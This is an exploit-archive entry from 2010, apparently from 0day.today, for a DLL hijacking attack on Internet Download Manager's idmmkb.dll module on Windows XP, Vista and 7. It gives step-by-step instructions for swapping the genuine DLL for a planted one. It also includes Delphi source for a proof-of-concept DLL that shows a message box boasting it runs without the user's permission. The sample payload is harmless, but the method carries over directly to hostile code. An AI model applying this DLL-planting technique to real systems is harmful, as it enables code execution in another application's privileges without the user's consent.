Internet Download Manager module (idmmkb.dll) Tonec Inc

2010-09-08T00:00:00
ID 1337DAY-ID-14025
Type zdt
Reporter STRELiTZIA
Modified 2010-09-08T00:00:00

Description

Exploit for windows platform in category local exploits

                                        
                                            =======================================================
Internet Download Manager module (idmmkb.dll) Tonec Inc
=======================================================

Exploit Title: [Dll Hijacking Exploit]
Application: [Internet Download Manager module(idmmkb.dll) Tonec Inc.]
Author: [STRELiTZIA]
Version: [All Internet Download Manager release]
Tested on: [Windows Xp, Vista, Windows 7]

Description: 
------------
Internet Download Manager module(idmmkb.dll) is a monitor for special keys (Alt, Ctrl, etc.) and for mouse clicks on web links in Internet Browsers.
That allows other applications dynamic link libraries to execute malicious code without the users consent,
in the privilege context of the targeted application.
 
Instructions:
-------------
1- Copy "Test.dll" into %Internet Download Manager folder%
2- Rename "idmmkb.dll" to "idmmkb.dll_Original" 
3- Rename "Test.dll" to "idmmkb.dll"

Perform this tests:
-------------------
- Restart your system.
- Try to run Windows Internet Explorer or Mozilla Firefox.
- Try to open you folders and links locate on your Desktop (My Computer, Recycle bin, My Documents and other...)
- Choose any Link property and click Find target.

Test Dll Delphi Source:
---//--
Library Test;
uses
  Windows;

begin
  MessageBoxA
    (
    0,
    PChar('Yep, I''m running in your system without your permission :)'),
	PChar('Sample'),
    MB_ICONSTOP
    );
end.
---//---
c) 2010 by STRELiTZIA.



#  0day.today [2018-01-02]  #